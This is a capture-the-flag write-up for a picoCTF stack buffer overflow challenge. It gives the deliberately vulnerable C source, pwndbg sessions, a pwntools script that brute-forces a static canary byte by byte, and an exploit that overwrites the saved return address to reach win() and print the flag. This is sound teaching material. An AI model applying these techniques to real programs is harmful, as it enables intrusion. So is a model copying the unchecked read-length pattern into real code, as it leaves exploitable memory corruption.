$ checksec --file=vuln [*] 'bof3/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5fadb3d053aee24d87bef67c56037d6d9e2b56f2, for GNU/Linux 3.2.0, not stripped
It's 32-bit ELF executable.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 64 #define FLAGSIZE 64 #define CANARY_SIZE 4 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); // size bound read puts(buf); fflush(stdout); } char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'canary.txt' in this directory with your", "own debugging canary.\n"); exit(0); } fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); } void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='\n') break; x++; } sscanf(length,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately exit(-1); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; }
Let's create "canary.txt" and "flag.txt" and add dummy data to test the buffer overflow. From the source code we can see that the canary is 4 bytes long.
$ echo "test" > canary.txt $ echo "FLAG{TEST}" > flag.txt
"Stack Canaries" are usually a random value placed on the stack. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.
Here for the challenge sake the canary is not a random value. We are supposed to bruteforce it.
Let's find out the buffer size at which buffer overflow occurs using gdb.
$ gdb ./vuln pwndbg> disassemble vuln Dump of assembler code for function vuln: --snip-- 0x0804952f <+206>: push eax 0x08049530 <+207>: lea eax,[ebp-0x10] 0x08049533 <+210>: push eax 0x08049534 <+211>: call 0x8049180 <memcmp@plt> 0x08049539 <+216>: add esp,0x10 0x0804953c <+219>: test eax,eax 0x0804953e <+221>: je 0x804955c <vuln+251> 0x08049540 <+223>: sub esp,0xc 0x08049543 <+226>: lea eax,[ebx-0x1f00] 0x08049549 <+232>: push eax 0x0804954a <+233>: call 0x80491b0 <puts@plt> 0x0804954f <+238>: add esp,0x10 0x08049552 <+241>: sub esp,0xc 0x08049555 <+244>: push 0xffffffff --snip-- End of assembler dump. pwndbg> b *0x0804953e Breakpoint 1 at 0x804953e pwndbg> r <<< $(python -c 'print("65"); print("A"*65)') Starting program: /bof3/vuln <<< $(python -c 'print("65"); print("A"*65)') How Many Bytes will You Write Into the Buffer? > Input> Breakpoint 1, 0x0804953e in vuln () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── EAX 0xffffffff EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1 ECX 0x4 EDX 0x804c054 (global_canary) ◂— 'test' EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c ESI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c EBP 0xffffd138 —▸ 0xffffd158 ◂— 0x0 ESP 0xffffd0a0 —▸ 0x804d1a0 ◂— 0x0 EIP 0x804953e (vuln+221) ◂— je 0x804955c ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x804953e <vuln+221> je vuln+251 <vuln+251> 0x8049540 <vuln+223> sub esp, 0xc 0x8049543 <vuln+226> lea eax, [ebx - 0x1f00] 0x8049549 <vuln+232> push eax 0x804954a <vuln+233> call puts@plt <puts@plt> 0x804954f <vuln+238> add esp, 0x10 0x8049552 <vuln+241> sub esp, 0xc 0x8049555 <vuln+244> push -1 0x8049557 <vuln+246> call exit@plt <exit@plt> 0x804955c <vuln+251> sub esp, 0xc 0x804955f <vuln+254> lea eax, [ebx - 0x1ec4] ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ esp 0xffffd0a0 —▸ 0x804d1a0 ◂— 0x0 01:0004│ 0xffffd0a4 ◂— 0x41 /* 'A' */ 02:0008│ 0xffffd0a8 ◂— 0xa3536 /* '65\n' */ 03:000c│ 0xffffd0ac ◂— 0x1be48500 04:0010│ 0xffffd0b0 ◂— 0x1 05:0014│ 0xffffd0b4 ◂— 0x0 06:0018│ 0xffffd0b8 —▸ 0xf7e498fb (_int_free+11) ◂— add ebx, 0x163705 07:001c│ 0xffffd0bc —▸ 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x804953e vuln+221 f 1 0x80495e6 main+94 f 2 0xf7de6e46 __libc_start_main+262 ──────────────────────────────────────────────────────────────────────────────── pwndbg> c Continuing. ***** Stack Smashing Detected ***** : Canary Value Corrupt! [Inferior 1 (process 5633) exited with code 0377]
From the source code we can see that the BUFSIZE is 64 bytes. If we read more than 64 bytes, let's say 65 bytes then give an input of all "A" 65 times then we enter a condition where it prints "Stack Smashing Detected".
This condition is satisfied only if we modify the stack canary. Since the BUFSIZE is 64, we can modify the canary from 65th byte of our input.
pwndbg> r <<< $(python -c 'print("65"); print("A"*64 + "t")') Starting program: /bof3/vuln <<< $(python -c 'print("65"); print("A"*64 + "t")') How Many Bytes will You Write Into the Buffer? > Input> Breakpoint 1, 0x0804953e in vuln () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── EAX 0x0 EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1 ECX 0x4 EDX 0x804c054 (global_canary) ◂— 'test' EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c --snip-- pwndbg> c Continuing. Ok... Now Where's the Flag? [Inferior 1 (process 6041) exited normally]
In the above input we have specified the 65th byte of our input as "t". Since the stack canary begins with the letter "t", the stack canary will remain unmodified.
pwndbg> r <<< $(python -c 'print("65"); print("A"*64 + "t")') Starting program: /bof3/vuln <<< $(python -c 'print("65"); print("A"*64 + "t")') How Many Bytes will You Write Into the Buffer? > Input> Breakpoint 1, 0x0804953e in vuln () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── EAX 0x0 EBX 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1 ECX 0x4 EDX 0x804c054 (global_canary) ◂— 'test' EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d6c --snip-- pwndbg> i f Stack level 0, frame at 0xffffd140: eip = 0x804953e in vuln; saved eip = 0x80495e6 called by frame at 0xffffd170 Arglist at 0xffffd138, args: Locals at 0xffffd138, Previous frame's sp is 0xffffd140 Saved registers: ebx at 0xffffd134, ebp at 0xffffd138, eip at 0xffffd13c pwndbg> x/s $ebp-82 0xffffd0e6: "\004\b", 'A' <repeats 64 times>, "test\002" pwndbg> x/s 0xffffd0e8 0xffffd0e8: 'A' <repeats 64 times>, "test\002" pwndbg> info fun win All functions matching regular expression "win": Non-debugging symbols: 0x08049336 win
In order to overwrite the "eip" we should know the space between our input and eip i.e 0xffffd13c - 0xffffd0e8 = 0x54 which is 84 in decimal.
The address of the "win" function is 0x08049336
Let's write a python script to bruteforce the canary.
import string from pwn import * letters = string.ascii_letters canary = '' i = 0 buffer = b'65' while True: if len(canary) == 4: with open("canary.out", 'w') as f: f.write(canary + '\n') print("Done. File saved as 'canary.out'") break if i == len(letters): i = 0 #con = remote("saturn.picoctf.net", 64289, level='error') con = process("./vuln", level='error') payload = b'a'*64+ canary.encode() + letters[i].encode() con.sendline(buffer) con.sendline(payload) msg = con.recvallS() i += 1 if 'Flag' in msg: canary += letters[i-1] print(f"canary: {canary}") buffer = str(65 + len(canary)).encode() i = 0 con.close()
$ python3 bof3_canary_bruteforcer.py canary: t canary: te canary: tes canary: test Done. File saved as 'canary.out'
We got the canary as "test". Let's write another python script to get the flag.
from sys import exit from pwn import * try: with open('canary.out', 'r') as f: canary = f.read().strip() except: print("Please run the canary bruteforcer.\n'canary.out' doesn't exist.") exit(1) #con = remote("saturn.picoctf.net", 64289) con = process("./vuln", level="error") con.sendline(b"88") payload = b'a'*64 + canary.encode() + b"a"*16 + p32(0x08049336) con.sendline(payload) print(con.recvallS()) con.close()
$ python3 bof3_exploit.py How Many Bytes will You Write Into the Buffer? > Input> Ok... Now Where's the Flag? flag{test}